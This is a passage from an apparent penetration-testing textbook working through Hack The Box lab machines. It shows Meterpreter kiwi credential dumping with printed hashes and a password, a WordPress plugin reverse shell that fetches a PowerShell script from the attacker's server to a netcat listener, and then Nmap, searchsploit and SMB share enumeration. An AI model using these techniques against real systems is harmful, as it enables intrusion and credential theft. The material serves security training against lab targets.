memory of the Local Security Authority Subsystem Service (LSASS) process
Kerberos: Using an API to access Kerberos credentials (tickets) again from memory

To run kiwi, you type “load kiwi” and then “creds_all”. From this, you can see the user
“sandra” has the password “Password1234!” which has been extracted from Kerberos
running on the machine.

1 meterpreter > creds_all


2 [+] Running as SYSTEM
3 [*] Retrieving all credentials
4 msv credentials
5 ===============
6 Username Domain NTLM SHA1 DPAPI
7 -------- ------ ---- ---- -----
8 SHIELD$ MEGACORP 9d4feee71a4f411bf92a86b523d64437 0ee4dc73f1c40da71a
9 60894eff504cc732de82da
10 sandra MEGACORP 29ab86c5c4d2aab957763e5c1720486d 8bd0ccc2a23892a74df
11 bbbb57f0faa9721562a38 f4c73b3f07c4f309ebf086644254bcbc
12 wdigest credentials
13 ===================
14 Username Domain Password
15 -------- ------ --------
16 (null) (null) (null)
17 SHIELD$ MEGACORP (null)
18 sandra MEGACORP (null)
19 kerberos credentials
20 ====================
21 Username Domain Password
22 -------- ------ --------
23 (null) (null) (null)
24 IUSR NT AUTHORITY (null)
25 SHIELD$ MEGACORP.LOCAL cw)_#JH _gA:]UqNu4XiN`yA'9Z'OuYCxXl]30fY1PaK,
26 AL#ndtjq?]h_8<Kx'\*9e<s`ZV uNjoe Q%\_mX<Eo%lB:NM6@
27 -a+qJt_l887Ew&m_ewr??#VE&
28 sandra MEGACORP.LOCAL Password1234!
29
30 shield$ MEGACORP.LOCAL cw)_#JH _gA:]UqNu4XiN`yA'9Z'OuYCxXl]30fY1PaK,
31
hide01.ir
AL#ndtjq?]h_8<Kx'\*9e<s`ZV uNjoe Q%\_mX<Eo%lB:NM6@
32 -a+qJt_l887Ew&m_ewr??#VE&

If you follow the tutorial on Hack The Box for this machine, some things are different. A
different approach is taken to using netcat for reverse shells and running mimikatz.exe
directly. The end result is the same however.

Doing the initial access to Shield manually

You have seen how Metasploit can make discovery and exploitation a simple process of
choosing a command, setting options and then typing run. The problem with this is that
you don't get to see what is actually happening in each of these steps and so it is difficult to
understand what it is you are actually exploiting. In this section, we will do the initial access
using our own crafted exploit.

Getting a reverse shell by uploading a WordPress plugin

Visiting the Shield WordPress site at http://shield.htb/wordpress, you will find a website
called Shields Up which is for a company supplying electric trucks.
hide01.ir

Home page for http://shield.htb/wordpress

Navigating to the WorPress administration site at http://shield.htb/wordpress/wp-admin,


you can enter the username and password admin and P@s5w0rd! to get in and get the
Dashboard page.

Successful plugin installed on Shield WordPress site

We can now call the reverse shell by entering the url


hide01.ir
http://shield.htb/wordpress/wp-content/plugins/newplugin/revshell.php

This should first call the web server to get the PowerShell file

1 ┌─[rin@parrot]─[~/boxes/StartingPoint/Shield]
2 └──╼ $python3 -m http.server 8000
3 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
4 10.10.10.29 - - [...] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -

And then the reverse shell should then call netcat to give us a PowerShell prompt:

1 ┌─[rin@parrot]─[~/boxes/StartingPoint/Shield/plugin]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.6] from (UNKNOWN) [10.10.10.29] 51298
5 Windows PowerShell running as user SHIELD$ on SHIELD
6 Copyright (C) 2015 Microsoft Corporation. All rights reserved.
7 PS C:\inetpub\wwwroot\wordpress\wp-content\plugins\newplugin>whoami
8 nt authority\iusr

Although the process was more involved, we understood the process much better at the end
of it and we got an initial shell that was far more robust than the PHP shell that Metasploit
initially established. The way that we did the initial access in this way is more generalizable
as well. We will see that we use the same approach repeatedly in different situations where
we can't use Metasploit. However, there is no denying that Metasploit speeds things up and
if you are working on an assignment which has time (and cost) pressures, Metasploit may
be the way to go.

There is not necessarily a right or wrong answer when it comes to the choice of tools in
most cases but knowing about a range of different approaches gives you the flexibility to
select what you think is optimal for a particular situation.
hide01.ir
Final Thoughts
Hopefully you have got a sense of the process we went through in tackling the machine
Shield. The steps we took of enumeration, initial access, discovery and enumeration and
privilege escalation are tactics that are used by adversarial hackers, penetration testers and
red teams when tackling targets. Each of these tactics consist of a variety of techniques,
some of which we used in getting ownership of the machine Shield. We will be covering
these tactics and techniques in more detail as we progress through the book.

Another principle that came out of doing the machine is that there are a variety of different
tools and procedures that can be used to carry out any given technique. We explored using
Metasploit for example and then did the same process by interfacing directly with
WordPress. The key however was that whatever approach you take to any given technique,
understanding what is going on is important. Understanding what you are doing, as
opposed to simply running a script, means you are going to understand the side-effects like
being noisy and attracting attention, or leaving traces behind of what you have done, or
worse, killing important processes or even the machine itself.
hide01.ir

Chapter 2 Enumeration: Networks, SMB, DNS and


Websites
hide01.ir
What is Enumeration?
Every attack starts with enumeration, which is the process of collecting as much
information as possible about a target machine. This information can include technical
details, users who may be associated with the target, and information about the target
organization. From there, you’ll focus on identifying vulnerabilities that you can exploit,
ideally to gain initial access to the box.

In this chapter, we’ll explore techniques for gathering information about a victim’s network
and websites. In the process, you’ll learn about the basics of TCP/IP and performing
network scans using Nmap. We’ll then cover the enumeration of SMB shares, virtual
hosts, and directories using a variety of techniques. In the chapter’s exercises, you’ll
gather useful information about two Hack The Box machines: Archetype and
ForwardSlash

Every attack on a computing device aims to achieve the attacker's specific objective. If the
aim is to steal information from a system, this objective could be satisfied by
compromising a website and accessing a database using vulnerabilities in the site's
application code. If the objective is to take over a network to extract a range of data and
surveil employees, the attacker might look for ways to gain access to a machine, establish
persistence, move laterally to other machines on the network, and elevate privileges.

In all cases, the attacker will exploit vulnerabilities they’ve uncovered through extensive and
careful enumeration of details about the target. The more an attacker knows about a target,
the more vulnerabilities the attacker may uncover. They’ll also gain information that will
help them exploit these vulnerabilities.

In an engagement with a customer, ethical hackers usually start this process with a clear
scope that explains what the customer's goals are. Your customer may want to simply
identify vulnerabilities in a specific set of applications and verify how critical they are. Or
they may want the penetration tester to exploit the vulnerabilities to see how far attackers
could get into a network and what they could potentially do. This established scope will
also determine what machines and networks the attacker is allowed to target and which are
deemed out of bounds. The consistent goal, however, is to identify vulnerabilities whose
exploitation could lead to a compromise of the confidentiality, integrity, or availability of the
organization's digital systems and information.
hide01.ir
We can break enumeration down into a set of different gathering techniques, namely
gathering technical information, information about people, and information about the
organization. Gathering technical information involves understanding the layout of
networks, the machines that run on those networks, the interactions between machines, as
well as those between users and machines. For each machine, you’ll try to determine what
software and services are running, their versions numbers, and their configurations. This is
because the vulnerabilities you’ll try to exploit will be related to a particular version or
misconfiguration of some software.

Information about people in an organization may reveal their roles in that organization,
what systems or information they may have access to, and their general level of privilege. A
systems administrator, for example, is more likely to have high-privilege administrative
accounts than a clerk in the HR department. On the other hand, the clerk may have direct
access to the HR system, which your attack might aim to target.

Knowledge of the organization may reveal context that is useful to the attacker. The
attacker may be after companies in a specific industry, for example. Also, organizations in a
particular sector may use specific hardware and software. Furthermore, knowing about the
organizational structure may reveal information about the hierarchy of people working in
that organization.

You can gather information either actively and passively. While this distinction can be
murky, passive information-gathering essentially means you haven’t touched, poked, or
prodded the target in any way. Gathering Open Source Intelligence (OSINT) about a target
by using an Internet search engine is considered a passive technique. OSINT is any
intelligence about a target that is gathered from publicly available information. On the other
hand, scanning a network by sending packets to it and observing the replies is an active
information-gathering technique. The difference is that the target could actually notice that
you’re gathering this information; worse still, the actual process of gathering information
could impact the target in an adverse way, for example by crashing software or a machine
inadvertently.
hide01.ir
Finding and Exploiting Vulnerabilities
In large part, enumeration is about uncovering vulnerabilities and then trying to exploit
them. A security vulnerability is a weakness in a digital system that an attacker can exploit
to impact the confidentiality, integrity, or availability of that digital system. Often, the
vulnerabilities exist withing the digital system itself as a consequence of its faulty design or
development. But the people interacting with digital systems also introduce vulnerabilities.

When researchers discover technical vulnerabilities in a software system, the issues are
given a Common Vulnerabilities and Exposures (CVE) identifier and listed on sites such as
the CVE site (https://cve.mitre.org/index.html) and in the NIST National Vulnerability
Database (https://nvd.nist.gov/vuln). Researchers also give each vulnerability a CVSS
Common Vulnerability Scoring System (CVSS) score, which rates how critical the
vulnerability is with a score of between 0 and 10. The most current scoring system
assesses a vulnerability based on its impact, as well as how complex the attack that
exploits it is: whether it requires user interaction, whether the user needs privileges to
execute, and what the attack vector is.

From a practical perspective, when you look at vulnerabilities, you’ll be interested in a few
things. Firstly, does a working exploit exists for the vulnerability? Secondly, what are the pre-
conditions for carrying out the exploit? Do you need a username and password for the
targeted system to execute it (as is the case for authenticated exploits)? Can you execute
the exploit remotely or do you need to physically be on the target machine?

Searchsploit is a search application that is part of the Exploit Database


(https://www.exploit-db.com/\) project by Offensive Security. The database is a searchable
archive of common vulnerabilities that have associated public exploits. Searchsploit can be
used to search for exploits locally on your machine. The tool comes pre-installed on Kali
Linux, and you can install it on Parrot or other Linux distributions using the apt command:

sudo apt install exploitdb

Searchsploit can be used to find exploits to vulnerabilities. For example, let’s search for
exploits related to a bash vulnerability called ShellShock (CVE-2014-6271):

1 ┌─[✗]─[rin@parrot]─[/]
2
hide01.ir
└──╼ searchsploit shellshock
3 Exploit Title Path
4 -----------------------------------------
5 Advantech Switch - 'Shellshock' Bash Environment Variable Command Injectio
6 (Metasploit) | cgi/remote/38849.rb
7 Apache mod_cgi - 'Shellshock' Remote Command Injection | linux/remote/3490
8 Bash - 'Shellshock' Environment Variables Command Injection |
9 linux/remote/34766.php
10 Bash CGI - 'Shellshock' Remote Command Injection (Metasploit) |
11 cgi/webapps/34895.rb
12 Cisco UCS Manager 2.1(1b) - Remote Command Injection (Shellshock) |
13 hardware/remote/39568.py
14 dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock) |
15 linux/remote/36933.py
16 GNU Bash - 'Shellshock' Environment Variable Command Injection |
17 linux/remote/34765.txt
18 IPFire - 'Shellshock' Bash Environment Variable Command Injection (Metaspl
19 cgi/remote/39918.rb
20 NUUO NVRmini 2 3.0.8 - Remote Command Injection (Shellshock) |
21 cgi/webapps/40213.txt
22 OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection |
23 linux/remote/34879.txt
24 PHP < 5.6.2 - 'Shellshock' Safe Mode / disable_functions Bypass /
25 Command Injection | php/webapps/35146.txt
26 Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection |
27 linux/remote/34896.py
28 RedStar 3.0 Server - 'Shellshock' 'BEAM' / 'RSSMON' Command Injection |
29 linux/local/40938.py
30 Sun Secure Global Desktop and Oracle Global Desktop 4.61.915 -
31 Command Injection (Shellshock) | cgi/webapps/39887.txt
32 TrendMicro InterScan Web Security Virtual Appliance - 'Shellshock'
33 Remote Command Injection | hardware/remote/40619.py

The search returns a list of matching exploits and provides a link to the code associated
with each exploit. The code is located at /usr/share/exploitdb. You can obtain further
details about each exploit by using the -x (eXamine) flag and its the path. To make a local
copy of the exploit, specify the -m (mirror) flag.

While finding any vulnerability is useful, if it’s not practically exploitable or the loss in real
terms from that vulnerability is of no consequence, then it’s of less interest to us.
hide01.ir
Network Enumeration
If you’re going to access a machine through the Internet, it will be via TCP/IP, its network
protocol. This is why it’s often valuable to perform network enumeration, which aims to
discover the IP address of a machine of interest and the services it exposes to the network.

From outside an organization, the machines made accessible to via the network will
typically provide services to the public, external clients, or remote staff. These machines are
usually protected by firewalls that cordon the machine into a secure zone, sometimes
referred to as a demilitarized zone (DMZ). This DMZ limits the machines’ access to other
servers and networks internal to the organization, which are protected by other firewalls.
Although a penetration tester will start from the outside, they’ll aim to eventually access the
internal networks using a process called pivoting, which we’ll cover in Chapter 10.

In order to understand network enumeration, you’ll find it useful to understand how TCP/IP
works, so this is what we will cover next.

The TCP/IP Model

When accessing a target machine, you’ll usually make a network connection via TCP/IP.
TCP/IP is the network protocol that underpins the internet, allowing applications to
communicate with each other. Although you’ll find it useful to know how all layers of
TCP/IP model operate, for now it’s enough to understand its essential components: how
TCP/IP communication is initiated, how IP addresses identify the source and destination
machines of these communication channels, and then how TCP/IP ports identify the actual
programs that are either sending or receiving the messages on the machines. If you’re
familiar with TCP/IP, feel free to skip ahead.

In order to send data, an application packages it and passes it through a series of


conceptual layers. Each layer is responsible for handling a specific aspect of the
communication protocol functionality. When an application wants to send data via TCP/IP,
the data gets handled by the four different software layers to package the data up in a way
that the network knows where to send the information to and how to handle the packets
while they’re in transit.
hide01.ir

Layers of TCP/IP Internet Model for two hosts communicating

The bottom link layer deals with transmission of messages, called packets, over the
physical network connection. This connection is usually an ethernet cable in the case of a
physical connection, and a Wi-Fi or cellular signal in the case of wireless connections. The
next layer up is the internet layer that assembles packets for transportation over the link
layer and uses IP addresses to identify the source and destinations of the packet.

TCP/IP actually consists of two main communication protocols; TCP (Transmission


Control Protocol) and UDP (User Datagram Protocol). TCP is a connection-oriented protocol
that is reliable, guaranteeing that all packets will arrive in the order in which they were sent
and informing the applications if it couldn't send the packets reliably. UDP is a best-effort
protocol; it does not guarantee the order of the packets that arrive, nor will it resend a
packet if one gets dropped. The transport layer implements the actual functionality of TCP
and UDP, using port numbers to identify the source and destination end points of the
connection. Port numbers identify which application to deliver the packet to. Finally, the
application layer implements protocols that determine the behaviors of applications and
deal with things like authentication and encryption. Examples include HTTP, used for
delivering web requests and replies, and SMTP, used for sending and receiving emails.
hide01.ir
The Structure of an IP Address

When a client wants to use TCP/IP to talk to another process, like a server on a different
machine, it needs to know where to send messages.

A client and server application on two machines in the same network communicating with
each other

First of all, it needs an IP address for the machine that is running the server. IP addresses
are either in IPv4 (IP version 4) or IPv6 (IP version 6) format. We’ll be using with IPv4
because it’s still the most popular addressing scheme. An IPv4 address is a 32-bit number,
divided into four eight-bit numbers separated by periods. For example, consider the IP
address 192.168.0.1. In binary, that number would be comprised of 32 bits, as follows:

1 IP: 192.168.0.1
2 Binary: 11000000101010000000000000000001

Of the 32 bits, a portion are used to identify a specific subnetwork. A subnetwork, or subnet,
is a network in which all of the machines comprising it can talk directly to each other
without passing through a router. The number of bits used to identify the subnet is usually
denoted using Classless Inter-Domain Routing (CIDR) notation. For example, the subnet
192.168.1.0/24 indicates that 24 bits of the address are used to identify the network and
hide01.ir
only eight bits are used to identify hosts. An alternative to this notation is to use a
subnetwork mask of the type 255.255.255.0 which will yield the network portion of an IP
address. Masks work by taking the binary representation of the mask and the binary
representation of the IP address and performing a logical "and" operation on the two
numbers. When two bits in the same position are both 1, the result of the operation will be
1. If either bit is 0, the result of the and operation will be 0. For example, the address
192.168.1.1 and the network mask 255.255.255.0 in binary are:

1 11000000101010000000000100000001 (192.168..1)
2 11111111111111111111111100000000 (255.255.55.0)
3 11000000101010000000000100000000 (192.168.1.0)

The result of the and operation is 192.168.1.0 which is the network that the host
192.168.1.1 belongs to.

In addition to the IP address of the machine, TCP/IP needs to know the specific port
number that the server is listening on. Port numbers range from 0 and 65,535. Depending
on the type of communication, the client may also be listening on a port for the server to
send data to. In the example shown in Figure 2-2, the client is listening on port 6001 and is
communicating with a server on the machine at 192.168.0.6 and port 8080.

The TCP Three-Way Handshake

Much of what we will cover regarding network mapping and enumeration relies on the way
in which TCP forms its connections during connection establishment between two
machines. This process is called the TCP three-way handshake (Figure 2-3), and it involves
the exchange of several packets that ensure both devices are available for the
communication. During the handshake, each party shares an initial sequence number with
the other party and the other party to acknowledge it. This sequence number is incremented
each time a message is sent to the other party, allowing the two parties to keep track of
which messages have been received. The handshake starts with the client sending a SYN
(synchronization) packet to the server machine with a randomly chosen sequence number.
hide01.ir

TCP connection being established through the TCP handshake

The SYN is actually a flag in the header portion of the packet. The server responds with a
packet that has both he SYN and ACK (acknowledgement) flags set. Finally, the client
responds with an ACK message of its own. If a client sends a SYN packet to a port that is
closed or where there is no application listening, the response will be a message with the
RST (reset) flag set. If no response is received after sending a SYN packet, the assumption
is that the port is being filtered (blocked) by a firewall.

Discovering a Target’s IP Addresses and Domains


hide01.ir
The simplest way to discover if a host's IP address and if it is active is to send a ping
message. Pings are messages sent using the Internet Control Management Protocol
(ICMP), which is part of the Internet layer of the TCP/IP model. A ping is an ICMP echo
request, and it should trigger an automatic response: if the host is online, it should reply
with an ICMP echo reply message. In order to discover online hosts, you can create a bash
script that loops through a sequence of addresses, pinging each host:

1 #!/bin/bash
2 host_is_up() {
3 ping -c 1 -w 1 "${ip}" > /dev/null
4 }
5 for i in {1..254}; do
6 ip="10.0.1.${i}"
7 if host_is_up "${ip}"; then
8 echo "${ip}"
9 fi
10 done

In this code, we enter a loop, incrementing the variable i during each iteration, from 1 to 254
v. We use this number to create a new IP address using a network portion "10.0.1" and
adding the variable i as the host portion (note that you could pass this portion in as an
argument to the script). The code then calls the host_is_up function w with the newly
created IP address as an argument. The host_is_up function sends a ping (-c 1) and waits
one second for a reply (-w 1) u. This function will return a status code indicating whether
the ping was successful, so we check for this code. If successful, we print IP address of the
discovered host.

Through this script alone, you’ve essentially built a network discovery tool. As you’ll see
shortly, though, most network discovery tools actually do a bit more than a sending simple
ICMP echo requests.

Discovering Open Ports

One of the first network enumeration tasks you’ll do once you’ve found an available host is
discover open ports on this target. This is because we are interested in what services are
hide01.ir
running on the machine that we can potentially communicate with and therefore, exploit.

Certain well-known ports are associated with specific protocols and services. These ports,
designated the Internet Assigned Numbers Authority (IANA), are ports 0 – 1,023 and these
are reserved for well-known services such as FTP, SSH, HTTP, and DNS Ports numbered
between 1,024 and 49,151 are called registered ports and are usually product and company
specific. Dynamic ports, those between 49,152 and 65,535, are used for temporary
connections or for private use. You should memorize certain well-known ports, as it makes
reading Nmap scans and understanding services that use them, that much easier. After
enough scanning, you’ll come to recognize them. They are shown here:

List of well-known TCP and UDP ports

Port Service Name Protocol

21 FTP TCP

22 SSH TCP,UDP

23 Telnet TCP,UDP

25 SMTP (Simple Mail Transport Protocol) TCP,UDP

53 DNS (Domain Name System) TCP,UDP

69 TFTP

80 HTTP TCP

88 Kerberos Authentication

110 POP3 (Post Office Protocol version 3) TCP

135 EPMAP / Microsoft RPC Locator Service TCP,UDP

137 NetBIOS Name Service TCP,UDP

138 NetBIOS Datagram Service TCP,UDP

139 NetBIOS Session Service TCP,UDP


hide01.ir
143 IMAP

161/162 SNMP

389 LDAP

443 HTTPS TCP

445 SMB

The task of discovering open ports is not always easy. For a start, different operating
systems implement slightly different responses to network packets arriving at a port. A
machine may be behind a firewall, which determines what network traffic is allowed
through and how open or closed ports appear to a scanner. But let’s start with the basics
and go on from there.

Scanning the Network with Nmap

Nmap (https://Nmap.org/) is many people’s go-to network scanner of choice and comes
pre-installed on Parrot OS. This network mapper tool allows you to discover hosts, and then
map the ports and software services behind those ports running on a machine.

Try scanning a publicly available machine, scanme.org, using Nmap’s default command, as
follows:

1 $ sudo nmap scanme.org


2 Nmap scan report for scanme.org (45.33.32.156)
3 Host is up (0.20s latency).
4 Other addresses for scanme.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb
5 rDNS record for 45.33.32.156: scanme.nmap.org
6 Not shown: 993 closed ports
7 PORT STATE SERVICE
8 21/tcp open ftp
9 22/tcp open ssh
10 80/tcp open http
11 554/tcp open rtsp
12 7070/tcp open realserver
13 9929/tcp open nping-echo
14 31337/tcp open
hide01.ir
Elite

By default, Nmap checks that the host is on the network by doing a ping scan of it. But
although it is called a ping scan (or sometimes a ping sweep), Nmap actually tries four
different approaches to seeing if the host is up. The first is an ICMP echo request (an actual
ping), the second sends a TCP SYN packet to port 443, and the third, a TCP ACK packet to
port 80. Finally, the fourth is an ICMP timestamp request. The benefit of doing a variety of
different scans is that it increases the chances of at least one succeeding in detecting the
host if a firewall is set up to block pings for example.

Having determine that the host is up, Nmap will perform a SYN scan of the top 1000 ports,
giving a report of the ports that are open. A SYN scan consists of sending SYN messages
as if starting a TCP three-way handshake and seeing if the host responds with the
SYN/ACK packet, which indicates an open port. If it receives an RST flag, it knows the port
is closed, and it will mark the port as “filtered” if there is no response. The SYN scan is also
known as a “stealthy” scan, because most hosts don’t notice these attempts to connect.

To do a SYN scan, though, you need to have root privileges (which is why we entered sudo
to run this command). If you aren’t running Nmap as root, you’ll have to use a full TCP
connect scan using the -sT flag:

$ nmap -sT scanme.org

In this case, Nmap fully connects to the port by performing the entire three-way handshake.
This tends to be less efficient than the SYN scan, and noisier, although most good Intrusion
Detection Systems (IDS) will detect both types of scans. The -sT scan should return the
same results.
hide01.ir
Exercise: Network Enumeration of the
Archetype box
To practice using Nmap, let’s scan a machine on Hack The Box. Archetype is one of the
site’s introductory tutorial machines, located in the Starting Point section of the site, under
Labs in the left-hand menu (Figure 2-2). Unlike other machines on HackTheBox, the Starting
Point machines are always running and so can be accessed directly using the machine's IP
address.

To access any Hack The Box machine you need to connect to the network via a VPN. In the
case of Archetype, there is a special VPN configuration file for the Starting Point machines.
Download the file by clicking the VPN Connection link in the Dashboard page. To run the
VPN, use openvpn:

1 ┌─[rin@parrot]─[~/access]
2 └──╼ $sudo openvpn rin-startingpoint.ovpn

In this exercise, we’ll use Nmap to enumerate all open ports on the machine. Then we’ll walk
through an example of what you can do with the services you discover: after finding open
ports related to the Windows file sharing technology SMB we’ll use three different
approaches to enumerating SMB file shares and their contents. We will then mount an SMB
share to make it accessible on our Parrot box and go through its contents to look for
credentials.

Starting Point machines on HackTheBox

Running Nmap

To run a full TCP port scan, which scans all 65,5535 ports, use the following Nmap
command:
hide01.ir
sudo nmap -v -sC -sV --min-rate=1000 -T4 -p- archetype.htb -oN nmap/tcp-full

This command attempts to perform a full TCP SYN scan as fast as possible. We need to
use sudo to allow Nmap to do a SYN scan. The argument -p- tells Nmap to scan all ports.
Because we specified no option for the type of scan to do, Nmap does a SYN scan of TCP
ports by default. The argument –min-rate=1000 tells Nmap to send probes at a rate of at
least 1,000 per second. The -T4 argument tells Nmap to do an aggressive timing scan (the
default is T3) which essentially makes the scan faster. The -v makes the output verbose,
printing out the discovered ports and their status as the command executes.

Next, we run some scripts. Nmap can run scripts written in the Lua programming language
with its Nmap Scripting Engine (NSE). The -sC flag tells Nmap to run all of its default
scripts, which will do things like find vulnerabilities, look for default attributes and
behaviors in software, and a range of other things. The script http-favicon.nse for example,
will retrieve the favorites icon (favicon) from a website and compare it against known
favicons from specific products, printing the product name if it is a match. This is just
another way of finding out what product we are dealing with.

The -sV flag tells Nmap to try to get version information for all software that it finds. Finally,
the -o flag is the output and -oN saves all output from Nmap in Nmap format (normal
format). This format saves information that is normally printed to the terminal but without
any warnings and other runtime output.

When you run this command on Archetype, you should receive output like the following:

1 ┌─[✗]─[rin@parrot]─[~/boxes/StartingPoint/Archetype]
2 └──╼ $ sudo nmap -v -sC -sV --min-rate=1000 -T4 -p- archetype.htb \
3 -oN nmap/tcp-full
4 <SNIP>
5 PORT STATE SERVICE VERSION
6 135/tcp open msrpc Microsoft Windows RPC
7 u 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
8 v 445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-d
9 w 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
10 | ms-sql-ntlm-info:
11 | Target_Name: ARCHETYPE
12 | NetBIOS_Domain_Name: ARCHETYPE
13 | NetBIOS_Computer_Name: ARCHETYPE
14 | DNS_Domain_Name: Archetype
15 | DNS_Computer_Name: Archetype
16
hide01.ir
|_ Product_Version: 10.0.17763
17 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
18 | Issuer: commonName=SSL_Self_Signed_Fallback
19 | Public Key type: rsa
20 | Public Key bits: 2048
21 | Signature Algorithm: sha256WithRSAEncryption
22 | Not valid before: 2020-10-01T12:43:48
23 | Not valid after: 2050-10-01T12:43:48
24 | MD5: b89e 499d adf4 9f0b 35f3 03ca 682e 7a8d
25 |_SHA-1: d6e4 4a18 723d 6e1c 286a c963 4370 b663 934a 5317
26 |_ssl-date: 2020-10-08T13:33:45+00:00; +15m45s from scanner time.
27 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
28 |_http-server-header: Microsoft-HTTPAPI/2.0
29 |_http-title: Not Found
30 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
31 |_http-server-header: Microsoft-HTTPAPI/2.0
32 |_http-title: Not Found
33 49664/tcp open msrpc Microsoft Windows RPC
34 49665/tcp open msrpc Microsoft Windows RPC
35 49666/tcp open msrpc Microsoft Windows RPC
36 49667/tcp open msrpc Microsoft Windows RPC
37 49668/tcp open msrpc Microsoft Windows RPC
38 49669/tcp open msrpc Microsoft Windows RPC
39 Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE:
40 cpe:/o:microsoft:windows
41 x Host script results:
42 |_clock-skew: mean: 2h56m12s, deviation: 3h34m42s, median: 1h20m10s
43 | ms-sql-info:
44 | 10.10.10.27:1433:
45 | Version:
46 | name: Microsoft SQL Server 2017 RTM
47 | number: 14.00.1000.00
48 | Product: Microsoft SQL Server 2017
49 | Service pack level: RTM
50 | Post-SP patches applied: false
51 |_ TCP port: 1433
52 | smb-os-discovery:
53 | y OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6
54 | Computer name: Archetype
55 | NetBIOS computer name: ARCHETYPE\x00
56 | Workgroup: WORKGROUP\x00
57 |_ System time: 2021-02-03T21:06:58-08:00
58 | z smb-security-mode:
59 | account_used: guest
60 | authentication_level: user
61 | challenge_response: supported
62 |_ message_signing: disabled (dangerous, but default)
63 | smb2-security-mode:
64 | 2.02:
65 |_ Message signing enabled but not required
66 | smb2-time:
67
hide01.ir
| date: 2021-02-04T05:06:54
68 |_ start_date: N/A

Notice that Nmap has identified the operating system as Windows Server 2019 Standard
17763 y. Also, you can see that file sharing is enabled because ports 139 u and 445 v are
open. These ports are used for the Server Message Block (SMB), a protocol we'll dive
deeper into shortly. These ports are always worth exploring to see if the machine is sharing
folders that anonymous and unauthenticated users can accessible. Next, notice that port
1433 is running Microsoft SQL Server 2017 14.00.1000.00 w. When you discover any
software like this, you can use information about the service and its version to look for
known vulnerabilities in it.

You’ve asked Nmap to run all relevant scripts, and the results from those is detailed in the
output x. As you can see, these scripts tell us more about the MSSQL and SMB services
running on this box. Let’s see what we can do with this information. For MSSQL, you’re told
that there have been no patches installed, so this service is considered to be a vanilla RTM
(Release to Manufacturing) install.

Maybe we’ll be able to find credentials to it in the SMB shares. As you can see, there are
details of the security implemented for versions 1 and 2 of SMB, and from this information,
it looks like you will be able to use SMB version 1 without any credentials; Nmap shows
that the ports involved with SMB are open and that guest access was allowed z.

Exploring SMB Shares

Once you’ve discovered open ports on a system, you can explore the services running on
those systems to figure out whether they’re vulnerable. One useful service you’ll commonly
discover is Server Message Block (SMB), a messaging protocol that provides access to
shared files, printers, and serial ports.

The most famous exploit of SMB, EternalBlue (CVE-2017-0144), uses specially crafted SMB
packets against SMB v1 implementations to allow unauthenticated attackers to execute
code on the system remotely. Originally developed by the US National Security Agency, the
exploit was leaked to the world by a hacker group called the Shadow Brokers in 2017 and
became the main vector for the WannaCry and NotPetya ransomware attacks.
hide01.ir
The key vulnerability you’ll find in SMB are misconfigurations that grant overly permissive
access, especially unauthenticated access to file shares or printers. And as you learned
from the Nmap script, you might be able to access Archetype’s file shares without
credentials.

Enumerating Shares

Let’s try to enumerate file shares on the system so we can see any of them are accessible.
We can use a number of tools to do this. The first is Nmap itself, using the script smb-
enum-shares.nse:

1 $ nmap -sV --script=/usr/share/nmap/scripts/smb-enum-shares.nse -p 445 \


2 -Pn archetype.htb
3 Starting Nmap 7.80 ( https://Nmap.org ) at 2020-10-08 21:21 AWST
4 Nmap scan report for 10.10.10.27
5 Host is up (0.40s latency).
6 PORT STATE SERVICE VERSION
7 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012
8 microsoft-ds
9 Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:win
10 Host script results:
11 | smb-enum-shares:
12 | account_used: guest
13 | \\10.10.10.27\ADMIN$:
14 | Type: STYPE_DISKTREE_HIDDEN
15 | Comment: Remote Admin
16 | Anonymous access: <none>
17 | Current user access: <none>
18 | \\10.10.10.27\C$:
19 | Type: STYPE_DISKTREE_HIDDEN
20 | Comment: Default share
21 | Anonymous access: <none>
22 | Current user access: <none>
23 | \\10.10.10.27\IPC$:
24 | Type: STYPE_IPC_HIDDEN
25 | Comment: Remote IPC
26 | Anonymous access: READ/WRITE
27 | Current user access: READ/WRITE
28 | \\10.10.10.27\backups:
29 | Type: STYPE_DISKTREE
30 | Comment:
31 | Anonymous access: READ
32 |_ Current user access: READ
hide01.ir
Here, we use -Pn to tell Nmap not to ping the host, which it would normally do to check if it
is online, because we already know that the host is online. We’re only scanning the one port
on which SMB is running (-p 445), passing the name of the script we want it to run. The
script shows the file shares that are available, whether they allow anonymous access, and
what the read and write permissions are for an authenticated user and an anonymous user.

Another tool we can use is smbclient which comes pre-installed on Parrot OS. Like Nmap's
SMB share enumeration script, it will say whether it has found any shares visible from the
machine. However, it doesn't say whether any of those shares are accessible by an
anonymous access:

1 $ smbclient -N -L archetype.htb
2 Sharename Type Comment
3 --------- ---- -------
4 ADMIN$ Disk Remote Admin
5 backups Disk
6 C$ Disk Default share
7 IPC$ IPC Remote IPC
8 SMB1 disabled -- no workgroup available

A third tool that is found on Parrot OS is smbmap, which again will do what the other two
tools have done. Like Nmap, will give access for the permissions on the shares:

1 $ smbmap -u 'guest' -p '' -H archetype.htb


2 [+] IP: 10.10.10.27:445 Name: 10.10.10.27
3 Disk Permissions Comment
4 ---- ----------- -------
5 ADMIN$ NO ACCESS Remote Admin
6 backups READ ONLY
7 C$ NO ACCESS Default share
8 IPC$ READ ONLY Remote IPC

Finally, there’s crackmapexec, which gives the following output:

